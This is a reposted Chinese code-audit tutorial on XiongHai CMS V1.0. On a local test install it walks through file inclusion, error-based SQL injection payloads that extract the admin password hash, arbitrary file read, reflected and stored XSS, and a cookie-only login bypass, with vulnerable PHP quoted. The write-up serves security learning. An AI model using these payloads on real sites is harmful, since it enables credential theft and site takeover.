IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 代码审计系列:熊海CMS V1.0 (iseaCMS_1.0) -> 正文阅读

[PHP知识库]代码审计系列:熊海CMS V1.0 (iseaCMS_1.0)

前言

学习练习代码审计,找来据说很多洞对新手友好的 熊海CMS V1.0,15年的小CMS

一、环境

1、用到的工具

  • phpstudy:官网下载,提供网站环境
  • seay:github搜下就有,经典代码审计工具
  • 熊海CMS V1.0:搜下就有,注意下来源就是

2、搭建环境

用phpstudy简单部署下,源码放在图中目录位置,注意php版本<7
在这里插入图片描述
修改C:\Windows\System32\drivers\etc\hosts文件,加上

127.0.0.1 www.xhcms.com

配置完成后,在phpstudy_pro面板重启下Apache服务,然后浏览器访问www.xhcms.com/install进入系统安装页面,填写好相关信息

在这里插入图片描述
跳转界面
在这里插入图片描述
环境搭建完成

二、审计

先扔进seay自动审计

在这里插入图片描述
然后一个个手动看

1、文件包含

(1)index.php

在这里插入图片描述
直接include,只用了addslashes做个转义,这有啥用啊

写个shell.php文件放files目录
在这里插入图片描述
在这里插入图片描述

也可以写txt文件,然后00截断或长度截断执行

(2)admin/index.php

一样一样的
在这里插入图片描述

2、SQL注入

(1)admin/files/adset.php

在这里插入图片描述
有addslashes转义了,属于误报

除非数据库编码与PHP编码设置有问题,导致可以宽字节注入
(类似的误报下面就不写了)

(2)admin/files/login.php

在这里插入图片描述
登录界面

  • user和password是直接获取POST传来的参数,并没有进行任何过滤
  • 先进行user的查询,如果user在数据库中存在,那么就进行password的比较,是将我们输入的password进行md5哈希一下,然后与数据库中的进行比对

所以说万能密码在这里是没有用的,但是我们却可以用报错注入得到用户名和密码

payload

user=123' or extractvalue(1,concat((select concat(0x7e,password,0x7e) from manage)))#&password=
或者
user=123' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0)#&password=

但是这里有一点比较坑的是,这里注出来的password最多只有27位,但是数据库存的是password的MD5值,有32位,所以说得到的md5是不对的,需要进行两次注入才能得到完整的密码,以extractvalue()函数为例:

user=123' or extractvalue(1,concat((select concat(0x7e,password) from manage)))#&password=
user=123' or extractvalue(1,concat((select concat(password,0x7e) from manage)))#&password=

在这里插入图片描述
在这里插入图片描述

(3)admin/files/newlink.php

在这里插入图片描述
这里的变量都是直接POST传进来并且没做任何过滤
显然也是可以报错注入的

payload:'%20or%20updatexml(1,concat(0x7e,(select%20concat(user,0x3a,password)%20from%20manage)),1) or '
在这里插入图片描述

(4)admin/files/reply.php

在这里插入图片描述
GET获得id,没有过滤
payload:' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) or '
在这里插入图片描述

(5)admin/files/editlink.php

在这里插入图片描述
同样是没过滤
继续payload:' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) or '
(类似的就不再写了)

(6)files/content.php

在这里插入图片描述

  • addslashes函数将$id进行了转义
  • 第14行的SQL语句用了单引号保护$navid变量,防止SQL注入
  • 但是19行却存在明显的UPDATE型注入,利用报错执行sql命令

payload:?r=content&cid=1%20or%20updatexml(1,concat(0x7e,(select%20concat(user,0x3a,password)%20from%20manage)),1)
在这里插入图片描述

(7)files/software.php

在这里插入图片描述
和(6)一样的漏洞

3、任意文件读取

(1)files/downloads.php

在这里插入图片描述
一路回溯

# 依次回溯
fopen("$sourceFile", "rb");
        |
$sourceFile = $fileadd;
        |
$fileadd=$down['softadd'];
        |
$down= mysql_fetch_array($result);
        |
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
        |
$fileid=addslashes($_GET['cid']);

参数$sourceFile的值大概率是受cid(用户可控)影响的
softadd的值直接影响最后的$sourceFile

进入发布界面admin/?r=newsoft
在这里插入图片描述
然后前台下载?r=downloads
在这里插入图片描述
在这里插入图片描述

4、XSS

(1)seacmseditor/php/controller.php

在这里插入图片描述
在输出到浏览器的时候被htmlspecialchars转义成为了html实体

所以说这是一个误报

(2)files/contact.php反射XSS

在这里插入图片描述
addslashes()只过滤了'"\NULL,仍然可以执行xss命令
在这里插入图片描述

(3)files/list.php反射XSS

在这里插入图片描述
与(2)同理

(4)files/contact.php存储XSS

在这里插入图片描述
提交表单信息,将写入的评论存入$content变量然后发送到sunbmit.php中进行处理,对name、mail、url都没有进行过滤

(5)admin/files/manageinfo.php存储XSS

<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$setopen='class="open"';
$query = "SELECT * FROM manage";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$manage = mysql_fetch_array($resul);

$save=$_POST['save'];

$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];

if ($save==1){
	
	
if ($user==""){
echo "<script>alert('抱歉,帐号不能为空。');history.back()</script>";
exit;
	}
	
if ($name==""){
echo "<script>alert('抱歉,名称不能为空。');history.back()</script>";
exit;
	}
if ($password<>$password2){
echo "<script>alert('抱歉,两次密码输入不一致!');history.back()</script>";
exit;
	}

//处理图片上传
if(!empty($_FILES['images']['tmp_name'])){
$query = "SELECT * FROM imageset";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$imageset = mysql_fetch_array($result);
include '../inc/up.class.php';
if (empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
{
		$tmp = new FileUpload_Single;
		$upload="../upload/touxiang";//图片上传的目录,这里是当前目录下的upload目录,可自已修改
		$tmp -> accessPath =$upload;
		if ( $tmp -> TODO() )
		{
			$filename=$tmp -> newFileName;//生成的文件名
			$filename=$upload.'/'.$filename;
			$imgsms="及图片";
			
		}		
}
}

if ($filename<>""){
$images="img='$filename',";	
}

if ($password<>""){
$password=md5($password);
$password="password='$password',";
}

$query = "UPDATE manage SET 
user='$user',
name='$name',
$password
$images
mail='$mail',
qq='$qq',
date=now()";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,资料".$imgsms."设置已成功更新!');location.href='?r=manageinfo'</script>"; 
exit;
}
?>
  • 参数由POST直接得到,无任何过滤
  • 并没有用htmlspecialchars()或htmlentities()函数过滤

payload: <img src=1 onerror=alert(/xss/)>

在这里插入图片描述

5、越权

(1)/inc/checklogin.php

在这里插入图片描述
只要有cookie就可以,没有对cookie做判断

在这里插入图片描述
修改cookie后

在这里插入图片描述
成功越权

结语

拿来练手是极好的,毕竟现在不会有这么多低级漏洞了

参考:

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-13 17:13:58  更:2021-07-13 17:14:48 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 2:44:32-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码